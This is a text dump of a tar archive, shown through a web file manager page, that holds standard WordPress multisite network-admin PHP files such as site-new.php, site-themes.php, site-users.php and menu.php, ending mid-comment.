File manager - Edit - /home/rootabc/vanlog.squareroot.co.za/wp-includes/Text/network.tar
Back
theme-install.php 0000644 00000000566 15125210212 0010021 0 ustar 00 <?php /** * Install theme network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/theme-install.php'; index.php 0000644 00000005537 15125210212 0006365 0 ustar 00 <?php /** * Multisite administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; /** Load WordPress dashboard API */ require_once ABSPATH . 'wp-admin/includes/dashboard.php'; if ( ! current_user_can( 'manage_network' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } // Used in the HTML title tag. $title = __( 'Dashboard' ); $parent_file = 'index.php'; $overview = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>'; $overview .= '<p>' . __( 'From here you can:' ) . '</p>'; $overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>'; $overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>'; $overview .= '<li>' . __( 'Update your network' ) . '</li>'; $overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $overview, ) ); $quick_tasks = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>'; $quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>'; $quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>'; $quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>'; $quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user*.' ) . '</li>'; $quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>'; get_current_screen()->add_help_tab( array( 'id' => 'quick-tasks', 'title' => __( 'Quick Tasks' ), 'content' => $quick_tasks, ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/">Documentation on the Network Admin</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); wp_dashboard_setup(); wp_enqueue_script( 'dashboard' ); wp_enqueue_script( 'plugin-install' ); add_thickbox(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <div id="dashboard-widgets-wrap"> <?php wp_dashboard(); ?> <div class="clear"></div> </div><!-- dashboard-widgets-wrap --> </div><!-- wrap --> <?php wp_print_community_events_templates(); require_once ABSPATH . 'wp-admin/admin-footer.php'; plugins.php 0000644 00000000371 15125210212 0006726 0 ustar 00 <?php /** * Network Plugins administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/plugins.php'; about.php 0000644 00000000365 15125210212 0006362 0 ustar 00 <?php /** * Network About administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/about.php'; user-edit.php 0000644 00000000375 15125210212 0007152 0 ustar 00 <?php /** * Edit user network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/user-edit.php'; menu.php 0000644 00000011276 15125210212 0006217 0 ustar 00 <?php /** * Build Network Administration Menu. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /* translators: Network menu item. */ $menu[2] = array( __( 'Dashboard' ), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' ); $submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' ); if ( current_user_can( 'update_core' ) ) { $cap = 'update_core'; } elseif ( current_user_can( 'update_plugins' ) ) { $cap = 'update_plugins'; } elseif ( current_user_can( 'update_themes' ) ) { $cap = 'update_themes'; } else { $cap = 'update_languages'; } $update_data = wp_get_update_data(); if ( $update_data['counts']['total'] ) { $submenu['index.php'][10] = array( sprintf( /* translators: %s: Number of available updates. */ __( 'Updates %s' ), sprintf( '<span class="update-plugins count-%s"><span class="update-count">%s</span></span>', $update_data['counts']['total'], number_format_i18n( $update_data['counts']['total'] ) ) ), $cap, 'update-core.php', ); } else { $submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' ); } unset( $cap ); $submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' ); $menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' ); /* translators: Sites menu item. */ $menu[5] = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' ); $submenu['sites.php'][5] = array( __( 'All Sites' ), 'manage_sites', 'sites.php' ); $submenu['sites.php'][10] = array( __( 'Add Site' ), 'create_sites', 'site-new.php' ); $menu[10] = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' ); $submenu['users.php'][5] = array( __( 'All Users' ), 'manage_network_users', 'users.php' ); $submenu['users.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' ); if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) { $menu[15] = array( sprintf( /* translators: %s: Number of available theme updates. */ __( 'Themes %s' ), sprintf( '<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>', $update_data['counts']['themes'], number_format_i18n( $update_data['counts']['themes'] ) ) ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance', ); } else { $menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' ); } $submenu['themes.php'][5] = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' ); $submenu['themes.php'][10] = array( __( 'Add Theme' ), 'install_themes', 'theme-install.php' ); $submenu['themes.php'][15] = array( __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' ); if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) { $menu[20] = array( sprintf( /* translators: %s: Number of available plugin updates. */ __( 'Plugins %s' ), sprintf( '<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>', $update_data['counts']['plugins'], number_format_i18n( $update_data['counts']['plugins'] ) ) ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins', ); } else { $menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' ); } $submenu['plugins.php'][5] = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' ); $submenu['plugins.php'][10] = array( __( 'Add Plugin' ), 'install_plugins', 'plugin-install.php' ); $submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' ); $menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' ); if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) { $submenu['settings.php'][5] = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' ); $submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' ); } unset( $update_data ); $menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' ); require_once ABSPATH . 'wp-admin/includes/menu.php'; site-themes.php 0000644 00000015333 15125210212 0007500 0 ustar 00 <?php /** * Edit Site Themes Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to manage themes for this site.' ) ); } get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter site themes list' ), 'heading_pagination' => __( 'Site themes list navigation' ), 'heading_list' => __( 'Site themes list' ), ) ); $wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' ); $action = $wp_list_table->current_action(); $s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : ''; // Clean up request URI from temporary args for screen options/paging uri's to work as expected. $temp_args = array( 'enabled', 'disabled', 'error' ); $_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] ); $referer = remove_query_arg( $temp_args, wp_get_referer() ); if ( ! empty( $_REQUEST['paged'] ) ) { $referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer ); } $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $wp_list_table->prepare_items(); $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $is_main_site = is_main_site( $id ); if ( $action ) { switch_to_blog( $id ); $allowed_themes = get_option( 'allowedthemes' ); switch ( $action ) { case 'enable': check_admin_referer( 'enable-theme_' . $_GET['theme'] ); $theme = $_GET['theme']; $action = 'enabled'; $n = 1; if ( ! $allowed_themes ) { $allowed_themes = array( $theme => true ); } else { $allowed_themes[ $theme ] = true; } break; case 'disable': check_admin_referer( 'disable-theme_' . $_GET['theme'] ); $theme = $_GET['theme']; $action = 'disabled'; $n = 1; if ( ! $allowed_themes ) { $allowed_themes = array(); } else { unset( $allowed_themes[ $theme ] ); } break; case 'enable-selected': check_admin_referer( 'bulk-themes' ); if ( isset( $_POST['checked'] ) ) { $themes = (array) $_POST['checked']; $action = 'enabled'; $n = count( $themes ); foreach ( (array) $themes as $theme ) { $allowed_themes[ $theme ] = true; } } else { $action = 'error'; $n = 'none'; } break; case 'disable-selected': check_admin_referer( 'bulk-themes' ); if ( isset( $_POST['checked'] ) ) { $themes = (array) $_POST['checked']; $action = 'disabled'; $n = count( $themes ); foreach ( (array) $themes as $theme ) { unset( $allowed_themes[ $theme ] ); } } else { $action = 'error'; $n = 'none'; } break; default: if ( isset( $_POST['checked'] ) ) { check_admin_referer( 'bulk-themes' ); $themes = (array) $_POST['checked']; $n = count( $themes ); $screen = get_current_screen()->id; /** * Fires when a custom bulk action should be handled. * * The redirect link should be modified with success or failure feedback * from the action to be used to display feedback to the user. * * The dynamic portion of the hook name, `$screen`, refers to the current screen ID. * * @since 4.7.0 * * @param string $redirect_url The redirect URL. * @param string $action The action being taken. * @param array $items The items to take the action on. * @param int $site_id The site ID. */ $referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } else { $action = 'error'; $n = 'none'; } } update_option( 'allowedthemes', $allowed_themes, false ); restore_current_blog(); wp_safe_redirect( add_query_arg( array( 'id' => $id, $action => $n, ), $referer ) ); exit; } if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) { wp_safe_redirect( $referer ); exit; } add_thickbox(); add_screen_option( 'per_page' ); // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-themes', ) ); if ( isset( $_GET['enabled'] ) ) { $enabled = absint( $_GET['enabled'] ); if ( 1 === $enabled ) { $message = __( 'Theme enabled.' ); } else { /* translators: %s: Number of themes. */ $message = _n( '%s theme enabled.', '%s themes enabled.', $enabled ); } wp_admin_notice( sprintf( $message, number_format_i18n( $enabled ) ), array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } elseif ( isset( $_GET['disabled'] ) ) { $disabled = absint( $_GET['disabled'] ); if ( 1 === $disabled ) { $message = __( 'Theme disabled.' ); } else { /* translators: %s: Number of themes. */ $message = _n( '%s theme disabled.', '%s themes disabled.', $disabled ); } wp_admin_notice( sprintf( $message, number_format_i18n( $disabled ) ), array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) { wp_admin_notice( __( 'No theme selected.' ), array( 'type' => 'error', 'dismissible' => true, 'id' => 'message', ) ); } ?> <p><?php _e( 'Network enabled themes are not shown on this screen.' ); ?></p> <form method="get"> <?php $wp_list_table->search_box( __( 'Search installed themes' ), 'theme' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> </form> <?php $wp_list_table->views(); ?> <form method="post" action="site-themes.php?action=update-site"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <?php $wp_list_table->display(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> site-new.php 0000644 00000022543 15125210212 0007005 0 ustar 00 <?php /** * Add Site Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; /** WordPress Translation Installation API */ require_once ABSPATH . 'wp-admin/includes/translation-install.php'; if ( ! current_user_can( 'create_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) ); } get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' . '<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) { check_admin_referer( 'add-blog', '_wpnonce_add-blog' ); if ( ! is_array( $_POST['blog'] ) ) { wp_die( __( 'Cannot create an empty site.' ) ); } $blog = $_POST['blog']; $domain = ''; $blog['domain'] = trim( $blog['domain'] ); if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) { $domain = strtolower( $blog['domain'] ); } // If not a subdomain installation, make sure the domain isn't a reserved word. if ( ! is_subdomain_install() ) { $subdirectory_reserved_names = get_subdirectory_reserved_names(); if ( in_array( $domain, $subdirectory_reserved_names, true ) ) { wp_die( sprintf( /* translators: %s: Reserved names list. */ __( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ), '<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>' ) ); } } $title = $blog['title']; $meta = array( 'public' => 1, ); // Handle translation installation for the new site. if ( isset( $_POST['WPLANG'] ) ) { if ( '' === $_POST['WPLANG'] ) { $meta['WPLANG'] = ''; // en_US } elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) { $meta['WPLANG'] = $_POST['WPLANG']; } elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) { $language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) ); if ( $language ) { $meta['WPLANG'] = $language; } } } if ( empty( $title ) ) { wp_die( __( 'Missing site title.' ) ); } if ( empty( $domain ) ) { wp_die( __( 'Missing or invalid site address.' ) ); } if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) { wp_die( __( 'Missing email address.' ) ); } $email = sanitize_email( $blog['email'] ); if ( ! is_email( $email ) ) { wp_die( __( 'Invalid email address.' ) ); } if ( is_subdomain_install() ) { $newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain ); $path = get_network()->path; } else { $newdomain = get_network()->domain; $path = get_network()->path . $domain . '/'; } $password = 'N/A'; $user_id = email_exists( $email ); if ( ! $user_id ) { // Create a new user with a random password. /** * Fires immediately before a new user is created via the network site-new.php page. * * @since 4.5.0 * * @param string $email Email of the non-existent user. */ do_action( 'pre_network_site_new_created_user', $email ); $user_id = username_exists( $domain ); if ( $user_id ) { wp_die( __( 'The domain or path entered conflicts with an existing username.' ) ); } $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( $domain, $password, $email ); if ( false === $user_id ) { wp_die( __( 'There was an error creating the user.' ) ); } /** * Fires after a new user has been created via the network site-new.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_site_new_created_user', $user_id ); } $wpdb->hide_errors(); $id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() ); $wpdb->show_errors(); if ( ! is_wp_error( $id ) ) { if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) { update_user_option( $user_id, 'primary_blog', $id, true ); } wpmu_new_site_admin_notification( $id, $user_id ); wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) ); wp_redirect( add_query_arg( array( 'update' => 'added', 'id' => $id, ), 'site-new.php' ) ); exit; } else { wp_die( $id->get_error_message() ); } } if ( isset( $_GET['update'] ) ) { $messages = array(); if ( 'added' === $_GET['update'] ) { $messages[] = sprintf( /* translators: 1: Dashboard URL, 2: Network admin edit URL. */ __( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ), esc_url( get_admin_url( absint( $_GET['id'] ) ) ), network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) ) ); } } // Used in the HTML title tag. $title = __( 'Add Site' ); $parent_file = 'sites.php'; wp_enqueue_script( 'user-suggest' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="add-new-site"><?php _e( 'Add Site' ); ?></h1> <?php if ( ! empty( $messages ) ) { $notice_args = array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ); foreach ( $messages as $msg ) { wp_admin_notice( $msg, $notice_args ); } } ?> <p><?php echo wp_required_field_message(); ?></p> <form method="post" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate"> <?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?> <table class="form-table" role="presentation"> <tr class="form-field form-required"> <th scope="row"> <label for="site-address"> <?php _e( 'Site Address (URL)' ); echo ' ' . wp_required_field_indicator(); ?> </label> </th> <td> <?php if ( is_subdomain_install() ) { ?> <input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', get_network()->domain ); ?></span> <?php } else { echo get_network()->domain . get_network()->path ?> <input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /> <?php } echo '<p class="description" id="site-address-desc">' . __( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ) . '</p>'; ?> </td> </tr> <tr class="form-field form-required"> <th scope="row"> <label for="site-title"> <?php _e( 'Site Title' ); echo ' ' . wp_required_field_indicator(); ?> </label> </th> <td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td> </tr> <?php $languages = get_available_languages(); $translations = wp_get_available_translations(); if ( ! empty( $languages ) || ! empty( $translations ) ) : ?> <tr class="form-field form-required"> <th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th> <td> <?php // Network default. $lang = get_site_option( 'WPLANG' ); // Use English if the default isn't available. if ( ! in_array( $lang, $languages, true ) ) { $lang = ''; } wp_dropdown_languages( array( 'name' => 'WPLANG', 'id' => 'site-language', 'selected' => $lang, 'languages' => $languages, 'translations' => $translations, 'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(), ) ); ?> </td> </tr> <?php endif; // Languages. ?> <tr class="form-field form-required"> <th scope="row"> <label for="admin-email"> <?php _e( 'Admin Email' ); echo ' ' . wp_required_field_indicator(); ?> </label> </th> <td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td> </tr> </table> <?php /** * Fires at the end of the new site form in network admin. * * @since 4.5.0 */ do_action( 'network_site_new_form' ); submit_button( __( 'Add Site' ), 'primary', 'add-site' ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; credits.php 0000644 00000000371 15125210212 0006702 0 ustar 00 <?php /** * Network Credits administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/credits.php'; edit.php 0000644 00000001614 15125210212 0006173 0 ustar 00 <?php /** * Action handler for Multisite administration panels. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; $action = ( isset( $_GET['action'] ) ) ? $_GET['action'] : ''; if ( empty( $action ) ) { wp_redirect( network_admin_url() ); exit; } /** * Fires just before the action handler in several Network Admin screens. * * This hook fires on multiple screens in the Multisite Network Admin, * including Users, Network Settings, and Site Settings. * * @since 3.0.0 */ do_action( 'wpmuadminedit' ); /** * Fires the requested handler action. * * The dynamic portion of the hook name, `$action`, refers to the name * of the requested action derived from the `GET` request. * * @since 3.1.0 */ do_action( "network_admin_edit_{$action}" ); wp_redirect( network_admin_url() ); exit; site-users.php 0000644 00000026031 15125210212 0007351 0 ustar 00 <?php /** * Edit Site Users Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 ); } $wp_list_table = _get_list_table( 'WP_Users_List_Table' ); $wp_list_table->prepare_items(); get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter site users list' ), 'heading_pagination' => __( 'Site users list navigation' ), 'heading_list' => __( 'Site users list' ), ) ); $_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] ); $referer = remove_query_arg( 'update', wp_get_referer() ); if ( ! empty( $_REQUEST['paged'] ) ) { $referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer ); } $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $is_main_site = is_main_site( $id ); switch_to_blog( $id ); $action = $wp_list_table->current_action(); if ( $action ) { switch ( $action ) { case 'newuser': check_admin_referer( 'add-user', '_wpnonce_add-new-user' ); $user = $_POST['user']; if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) { $update = 'err_new'; } else { $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) ); if ( false === $user_id ) { $update = 'err_new_dup'; } else { $result = add_user_to_blog( $id, $user_id, $_POST['new_role'] ); if ( is_wp_error( $result ) ) { $update = 'err_add_fail'; } else { $update = 'newuser'; /** * Fires after a user has been created via the network site-users.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_site_users_created_user', $user_id ); } } } break; case 'adduser': check_admin_referer( 'add-user', '_wpnonce_add-user' ); if ( ! empty( $_POST['newuser'] ) ) { $update = 'adduser'; $newuser = $_POST['newuser']; $user = get_user_by( 'login', $newuser ); if ( $user && $user->exists() ) { if ( ! is_user_member_of_blog( $user->ID, $id ) ) { $result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] ); if ( is_wp_error( $result ) ) { $update = 'err_add_fail'; } } else { $update = 'err_add_member'; } } else { $update = 'err_add_notfound'; } } else { $update = 'err_add_notfound'; } break; case 'remove': if ( ! current_user_can( 'remove_users' ) ) { wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 ); } check_admin_referer( 'bulk-users' ); $update = 'remove'; if ( isset( $_REQUEST['users'] ) ) { $userids = $_REQUEST['users']; foreach ( $userids as $user_id ) { $user_id = (int) $user_id; remove_user_from_blog( $user_id, $id ); } } elseif ( isset( $_GET['user'] ) ) { remove_user_from_blog( $_GET['user'] ); } else { $update = 'err_remove'; } break; case 'promote': check_admin_referer( 'bulk-users' ); $editable_roles = get_editable_roles(); $role = $_REQUEST['new_role']; if ( empty( $editable_roles[ $role ] ) ) { wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 ); } if ( isset( $_REQUEST['users'] ) ) { $userids = $_REQUEST['users']; $update = 'promote'; foreach ( $userids as $user_id ) { $user_id = (int) $user_id; // If the user doesn't already belong to the blog, bail. if ( ! is_user_member_of_blog( $user_id ) ) { wp_die( '<h1>' . __( 'An error occurred.' ) . '</h1>' . '<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>', 403 ); } $user = get_userdata( $user_id ); $user->set_role( $role ); } } else { $update = 'err_promote'; } break; default: if ( ! isset( $_REQUEST['users'] ) ) { break; } check_admin_referer( 'bulk-users' ); $userids = $_REQUEST['users']; /** This action is documented in wp-admin/network/site-themes.php */ $referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores $update = $action; break; } wp_safe_redirect( add_query_arg( 'update', $update, $referer ) ); exit; } restore_current_blog(); if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) { wp_safe_redirect( $referer ); exit; } add_screen_option( 'per_page' ); // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; /** * Filters whether to show the Add Existing User form on the Multisite Users screen. * * @since 3.1.0 * * @param bool $bool Whether to show the Add Existing User form. Default true. */ if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) { wp_enqueue_script( 'user-suggest' ); } require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <script type="text/javascript"> var current_site_id = <?php echo absint( $id ); ?>; </script> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-users', ) ); if ( isset( $_GET['update'] ) ) : $message = ''; $type = 'error'; switch ( $_GET['update'] ) { case 'adduser': $type = 'success'; $message = __( 'User added.' ); break; case 'err_add_member': $message = __( 'User is already a member of this site.' ); break; case 'err_add_fail': $message = __( 'User could not be added to this site.' ); break; case 'err_add_notfound': $message = __( 'Enter the username of an existing user.' ); break; case 'promote': $type = 'success'; $message = __( 'Changed roles.' ); break; case 'err_promote': $message = __( 'Select a user to change role.' ); break; case 'remove': $type = 'success'; $message = __( 'User removed from this site.' ); break; case 'err_remove': $message = __( 'Select a user to remove.' ); break; case 'newuser': $type = 'success'; $message = __( 'User created.' ); break; case 'err_new': $message = __( 'Enter the username and email.' ); break; case 'err_new_dup': $message = __( 'Duplicated username or email address.' ); break; } wp_admin_notice( $message, array( 'type' => $type, 'dismissible' => true, 'id' => 'message', ) ); endif; ?> <form class="search-form" method="get"> <?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> </form> <?php $wp_list_table->views(); ?> <form method="post" action="site-users.php?action=update-site"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <?php $wp_list_table->display(); ?> </form> <?php /** * Fires after the list table on the Users screen in the Multisite Network Admin. * * @since 3.1.0 */ do_action( 'network_site_users_after_list_table' ); /** This filter is documented in 